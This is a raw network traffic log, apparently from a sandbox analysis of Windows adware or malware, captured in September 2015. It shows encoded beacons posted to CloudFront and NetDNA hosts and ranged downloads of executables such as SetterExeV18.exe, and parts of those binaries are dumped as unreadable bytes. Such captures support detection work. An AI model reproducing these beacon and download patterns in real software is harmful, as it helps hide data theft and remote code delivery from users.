User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: U2onnxCXWgGI3ZpNuL4i4Is65OVolAdaZSNWDWO3Mq5dNDt7EcKBrQ==



POST /br.ashx?pid={PID}&aid={AID}&ss=0&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,&v=2.3.12.1634&md5=9c252fee8d7ddd66fd174360b8500d61&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&uid=DBDAC73B-95A8-49BD-8156-6EB7EBE7D1A9 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
Host: d23ocewf5ttxmu.cloudfront.net
Content-Length: 2326
Connection: Keep-Alive
Pragma: no-cache

d=noFdkfdc/3Ym7WfeGKOdMMhwQi48pUwXFZuxvyBWGmwhGltT0i1Q9QT2y1yJLtikXNPyPipBtWrRWAWSZB4Fhq2M4zJjPuS9xl8iInVouHP5k/TQMTo//98Ls5WFXbs/GoG8fGUBR3goE1IslU3BOWjpLkU2Mi9XlTjDZZKcwIqIdGlSWTbtAbPZb4QBghP3qFDJtH659H3HWew0fnHXZcx7ufKMPEOtSwNQ4R6baGox5RGd2xht6SSYPMQyDjvbW4Bg/jxCd0BtLtPNiPB4toS2AQRXOPKdrVJ9TpIze6wVb3i88yK/zzA0/di1z92pHwiJn3GZueIX/Mg WLt3UpFIA5y mmfq3D98nXTiQ4RAcm/WWE82QiCy0ZwfgEb/Im4kCWgfMT4X384o  /VHdwQrvwXGy5K1c7K65QpTCnXY1Pv/LiIKE22SQmY2156D ZOPyrNuejNsDiRCmKEtqvZBS2p1oydeCVAcFE2n4Xf zcqn1TGp5Ir7 3Xdnp1nEfCHxjV3KSWDzfuNgZZTKW5Ux9dUtpaLfuKKR2xbrlKSYdsyT3WqOxochyiT D6SwtDt3e5y14bZHck7gX7a0NZ5XihA/fRaiTsa2OYxbz8MH4w pmvU1nogus4ZL8QHMV49HATbA5ltYbfI tCoF0EK7qHCyVeRTu1Px5Ez5S5vMDjkynXl43PmiaOhlpMtTobhfCVDMPCzFUuP6ryK2O/VTkl1EmdPmahp35X1feIPGdZGe5Ht4TbVi1uRevberBNJDGQymLeDKGAb4r2Z0a/xR5snZjr9qRqhWdhiCv/lozRkAbJnqjhlcPupimsFQBhd2T V9Xcx0f5 9MJi8qkNesfDmHBb4qXYBrLOzkf5VH0M8VRaYOiirQyxHgcE4QF854fiaDcVYWrpU3KaFfFXTpMvLXlplqvUJZ kqVp3seWksZgG Y4/XE9yxftgdye228LK8IATc34l0Fm1UrMalLKVEPHIe4OIBLeWjXLq6r6HxnMP9MgHS1ugBUbyhW7XUEuo87M5EzgQtDhWeD7jqftz6nySeyqTHe1OeGPcVD6wLC6H
HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:22:39 GMT
X-Cache: Miss from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: dMCOqdD83UOQShPxvZUMMhWwG9TgwsPAW0YKSQiGF_WCSr46Zf4gnA==



GET /5518.ashx?e=XJYuqQQo69fhEjJFr58dc2tjJ5yrs8qUnvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ5LEkZetWvu6vIROPie2z407nXsJR6HRCLBPEhRyyBD7AmwZFp/ZKcZfr7aTKFjuUh88OtjuZNGq4JUzWMwNoN82LUJGnTsXhlEK5u6pECdO1SxiNrRjAGZBB5aSy JFSFBu JKI8V1aUAcuRLQrL1GjXU3roAfrH0QI4IYW7BlwKG/8 ILd4bihRW JECizii0o6CnERxfiY5ZMFGhcknP srAPq35vVlHiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDaA0a4JMrDsIg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS9HLHm9xMNbloALKR6u0dISqMeNHAfSzsEPg2wrTtaLmz4gguKWlYXVlGLP9MEG8Z9q4cIzg hRIKAaiJwK3jOW1MuY6VjgLXJJaSIP7xohYUBsO8O21po8 3fSmiw/OP3dCJ6xxp AkxCSffc0CU6lWIDtMhwBxLGAKovvGyeJC9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRU5IN3j9H2v  HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS9HLHm9xMNbloALKR6u0dIfizY7Ujf08WFAL52sIXt4VzrzFC04 gV8qwTJHv BeYORQ2C5lN2kVTvMZjEVVmTm 4 SQMoieQ8Lxp8HLogowR591rTzu05D5OeSwUDdva2hNibsqR5hVlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDLAfxYPJ2m5Z HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:21 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YNxO48S9k5zx0ojLX6lvBJsJJaSIP7xohYUBsO8O21po8 3fSmiw/OP3dCJ6xxp AkxCSffc0CU6lWIDtMhwBxLGAKovvGyeJC9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRU5IN3j9H2v  HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:05 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRsb1vqYY5dG9TQ G9t8UJTnBlO Jp7dmc4aM eJWkTw6kCOCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP3EbLWmTIe6HPSZuizlKZS4vVGidJQzQbwcX153juosly7z014jPGHi9SV3844bx1iSWkiD 8aIWFAbDvDttaaPPt30posPzj93QiescafgJMQkn33NAlOpViA7TIcAcSxgCqL7xsniQvSm4upuKAkZFQSZRyR efVPZxD7RePTi9zALUw4J10VOSDd4/R9r/g== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=KC46TpkJIZzYLhsRuGeUaX3SlO 4zhiGbxgZgsE2ALEgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn074r1XQZFERIJ5AJXlBzFu09k8ckggnu0s IILilpWF3rkKX5vs BxhpDESA5phhNsYns0spGP2dTvMZjEVVmTm 4 SQMoieQ8Lxp8HLogowR591rTzu05A== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=KC46TpkJIZzYLhsRuGeUaX3SlO 4zhiGbxgZgsE2ALEgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn074r1XQZFERIJ5AJXlBzFu09k8ckggnu0s IILilpWF0yM0 mDTjCnk8lK 3OdSokZuYXDd55YnQEr1JQjjeKnCRRsprqbmHjBHo e/Tb1b6xkPPaX2SGsyNWfCbpya7ojZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsMss0xdmNFlbg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXedTURWNEvv0HQBxTzK/bEJeNU2AyMdjD0iBddSzeY4dYghywxFINBPLhsL7x0yEItFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N 2fGqVkubD7Y2ac9bD3MadSN58qZygCScEpVXMQzDInewhsAaqZyLDqaP5RI6XgJQcxXLgDRmHLOkFT1T v92w3K GUZ6Kk1Wr1yDuA0169JkBUgi1JVfYVZXrxk8zYW8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRlO8xmMRVWZOb7j5JAyiJ5DwvGnwcuiCjBHn3WtPO7TkPk55LBQN29raE2JuypHmFWVSvOHNjNGn3rWrb Mq8mhh9Athkbu8Dene9Z fMxsMsB/Fg8nablk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=XJYuqQQo69eJxiP7f9a/G27gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUeTwptrmDJY5BPEhRyyBD7Ac3fvxJ8D0nDa/A2NFJWO0rTw7dxe6CN36fJqnCNSq9DOwCFPkZ2zXbZOd1Z hx8BPIOGLdaeOjR sDLwnn1132uAG1IrkYwnafAodXicqFC5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyAcC4K0pGUhWjZ3f64oXp7sfQ8Kj6Mu8v3vRYAGA yJTjl0UZdEJdXvF/f7UUlEHfjfma0GJTOyRJc= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....



GET /t.ashx?e=rtVCaXwMwDJmS6nlSU/NTtuVII 9jnDa/ToTRiVFxVTeyzV7AofXltfeePK3juLQKseWc3Bk9ZvlsFtw3cWT7mvtcIuz9bMoGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JoXwql6nKegU HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 23r364hijk-mzxspesu.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:04 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:04 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk....


GET /t.ashx?e=rtVCaXwMwDJmS6nlSU/NTtuVII 9jnDa/ToTRiVFxVTeyzV7AofXltfeePK3juLQKseWc3Bk9ZvlsFtw3cWT7mvtcIuz9bMoGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JoXwql6nKegU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 23r364hijk-mzxspesu.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=rtVCaXwMwDJmS6nlSU/NTtuVII 9jnDa/ToTRiVFxVTeyzV7AofXltfeePK3juLQKseWc3Bk9ZvlsFtw3cWT7mvtcIuz9bMoGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JoXwql6nKegU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 23r364hijk-mzxspesu.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:05 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..



GET /SetterExeV18.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d11sfnc01fj8ag.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT
Accept-Ranges: bytes
ETag: "a670962874c9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 28 Jul 2015 22:15:32 GMT
Content-Range: bytes 0-249999/520704
Age: 3595
X-Cache: Hit from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: tpgbGuqqFdUJF5j-an5KKM6eRNvjR5d-9GYicabDSTlEDtZNBtjPWQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]O..........
......*......|2......|..K....|.......V~.............dW..-....|6.......
z.....dW3.....Rich....................PE..L......U....................
......................@..........................@............@.......
...........................>..................................tY...
...................................@..................................
..........text...E........................... ..`.rdata...............
...............@[email protected]....[...`[email protected]......
..........|..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................h`.E..uW..Y.V...F.V.^..
.YPV..wG... ..hk.E..PW..Y^.V...F.V.8...YPV..vG... ..hz.E..*W..Y^.V...F
.V.....YPV..vG..\ ..h..E...W..Y^.V...F.V.....YPV..vG..6 ..h..E...V..Y^
.V...F.V.....YPV..vG... ..h..E...V..Y^.V...F.V.....YPV..vG......h..E..
.V..Y^.V...F.V.z...YPV.PvG......h..E..lV..Y^.h..F....G......h..E..PV..
Y.h..F....G......h..E..5V..Y.V.(.F.V.....YPV.hvG..h...h..E...V..Y^.V.8
.F.V.....YPV..vG..B...h..E...U..Y^.h&.E...U..Y.h..E...U..Y.h..E...U..Y
[email protected]^.V...F.V.|...YPV
<<< skipped >>>

GET /SetterExeV18.exe HTTP/1.1


Range: bytes=500000-520703
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d11sfnc01fj8ag.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 20704
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT
Accept-Ranges: bytes
ETag: "a670962874c9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 28 Jul 2015 22:15:32 GMT
Content-Range: bytes 500000-520703/520704
Age: 3596
X-Cache: Hit from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NPal4IcjK7HXrGAmXUgcRX9BbXrDtJ2UZvqTj7xE8-xTHwW9oSf0Eg==
....`...1090.0.1y1.1.1.1.1.1.2R2.5.5j6p6.6.6.7.7.7.8.8.9.9.:.:2:.:.:.;
.;.<.<.<f>.>.>.>V?y?.?.?......d...O0.0.0.1.1S1.2.
2.2.2.2.3.3.4.4.4.6.6.7 7.7.7.7!8|8.9.989D9.92:.:.:.:.;.;.;0<?<[
<j<.= =.=s>}>....(...!101>1.1.1.5.5.5N9]9k9.9.9R=a=o=..
.......0.1.1.2;2H2\2.2.4P4v4.4.5i6.6.6.6.6.6.7.7 7W7d7x7.7.7.7.7.7.848
L8R8.8.8.8.8.959.9.9.: :l:.:.:.:.;X;.;.;.;I<.<.<.<.=.=.=.=
.=.>;>P>h>y>.>. .......010.0.0.0.1W1\1t1.1.1.1.1.222
N2S2_2d2|2.2.2.2.2.2.2.3*3:3P3x3.3.3.3.3.3.3.3.4.4!4-424>4C4O4T4r4.
4.4n5.6.6.6.6'777.9.9.9.9P:Y:b:q:.:a<.<.<.=.=.>.>...0..
.....1)1c1|1.1.1.2.2a2.2.2.2.2'3^3.3.304j4.4.4.4.5.5.5a6.6.7.7*787.9.9
.9n:~:.:.:.:.:.:.:.;T;.;.<%<9<M<a<u<.<.<.<.
<.<.<.=.=)===Q=e=.=.>o>.?|[email protected]%0
-040<0D0j0}0.0.0.0.0.0.0.0.0.1.1u1.2.2.2.2.2)2o2.2.2.2.2.2.3.3!3*32
3:3}3.3.3.3.3.3.4.4.4D5T5.5.5.5.5.5.5.5.5.5,6E6V6.6.6.667G7.7.8X8`8u8.
8.8.8.9j9.9.9.9.9.:W:l:y:.:.:.:';<;I;V;.;.;.;.;.<&<3<@<
v<.<.<.<.<.<.<.<.=.=W=s=.>->.>.?.P...
....0.1.1.1.1.1.2(2;2.2.2.2.2.2.2.2.2.3.3$3 333;3a3t3.3.4.4L4R4W4`4h4p
4.4.4.4.4.4.4.4.5*50555>5F5P5.5.5.6.6.6'6/6O6.6.6.6.6.6.6.6.7&727e7
t7.7.7.7.7.7.7.8.8.8.8.8.8.9.9n9.9?:U:.:.:@;V;.<.="=p=.=.=.=.=.>
.>J>V>.>.>.? ?Y?z?.?.?.?...`..|...70P0.0.0.1.1H1.1.1)2K
2l2.2.2.3.3J3_3.3.3.3$4-4.4.4.4.555]5m5.5.5.5.6.6.6.6.7.8.8.9j:y:.:.;.
;.<.<.<.<.<s=.=.=q>.>.?...p.......1.2w2.2.2.2
<<< skipped >>>


GET /smw121634dp.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:20 GMT
Content-Range: bytes 250000-499999/3359008
Age: 3596
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: iTlqTWaE99imKLJDDPluAFg-PSvxnKXGD4EDKVyg3YFBtpLWT--pzQ==
.ny.q..{k...........U....j..0[...2.......;\..L.....T.Q....Z.^...$A..s.
.)O|...u$....}.{q....j.....c....|$.~..k.x...z...K..C^#.....! 8.].!th..
p......L...\.=K.m..-.h.L.........w~...X..M....[..S.{. .ek3.VeR..Y.^.Qa
R..C...[t(..i^.N6...j.O.YGs.<)...x.x...Y....R....'.7..rt.].....d..A
....[sym?/...T....wh.......`.ww...kO.T.i.ep4O!....T.f.K.[..T.5...;.K..
.?...W...n\..a.'[email protected]=Q.....<[email protected]@iw3}BEi.).=\."M
m.>T.eL.....~....r..;....@.... ..Qu.......rP.U...s/*.[..i..j..!.*..
u.H...GX....O=..V....m.lc.....E.][....>......@..&D..n.B)....db.=..7
..Q....g...<....?..ipU...\.F.Y.......K..9.......C........M_.Z_<.
R6.......nO.....y.L.Q...K.R";.|.........r.%..j4.1.N... .....B.o.@).*.&
gt;.H~N....8..r{M...w.....S0../..s.\...}..w.~...b;.Sw.L0.;D....Z N.E..
....2.B.6([email protected]:3n.S...U..9. .jZ0U....O..v.........":j*..^~..
.............6.......i%.. . o.8..|.....tS).E..g.h#.O..#..\....L,.:..c.
....1._'. ./.Z..g.v]:.8xs.o.1....q..l..;....t..ZW....B..........rM....
..G......S.....*f.}.V.nY.._.^..S....s`6..$P{.>.s.......8...$.1..<
;..g....'?... ....9Y....b..$/X..'...%../...$...nq.h......yV.......8.p.
b/....V...~O]....U........./.'.V..<\,I...o.g..1..,..%}.KR.u..\._...
.........K.....$.Jm~..a..M ...._. D.4.<..{j..?N..Q..8...qa...`y._..
..<).[.j...y..>.6..._..02&.L.....M.*...s.0..-.E.Q........aL6....
.U.11....*[email protected]/...<..D.'.M.%I..sK..Z}...TW&.......(...G.
..)p Zusn#\d.....C.3....&.H.I.*.O.|C.*.M..Z..q.<DN....(.%M"@.......
.M.O..g.hn/.....{..H..../(........Zu$.P..9..W....F.$."3.{..m.Z..[.
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:20 GMT
Content-Range: bytes 750000-999999/3359008
Age: 3596
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7-6eFCx6MLc5uH12XuMaDCDUT2EbGsYHy3hKT-JBN9_uQB_Rnc_SXw==
;..M..........H....V......\.........l1-.%...z....NF.......0... .e.2...
..F..>d.[.....v..TLN..%...G4...?.6..*<Y.O2...\&GNH.].4o...f.^o..
..g1L..?`......*......R......v.;a;E...Tm......P\~f.......X.:....\...@9
n.......@..].>.....=..`....T.cE.G.....U..l6..0....2....jH.&...wY..1
.zVn.T.R\.).*..nZ...m4....[.&5...V......j.....!.4..Np.......M.<..@7
..H|.'b......O..R....K...(V.kI..(S\...Q.Q.M......n.Q.<..3....s.j.b.
.....,.....f..n.LH..%.&PT KWK4....b}.'K..,L...)......u..."..}i....z...
..1b.S.i.K....)E...u.M...c%[email protected]............&..
.2.3....*..<p....MM'[email protected]%.
............p...i..#.T..._./q.A.B.......1.........(.(.$!.i[./..$@..$T.
.b..b....\a7...5=3...!..:Z.[s.KBY....,.........P.|.}[email protected]|..]...#..
..8W..]...s....q..f{NA..>A.n@#...=.S.j(A......1..;.F.*.M. .^_s .x.D
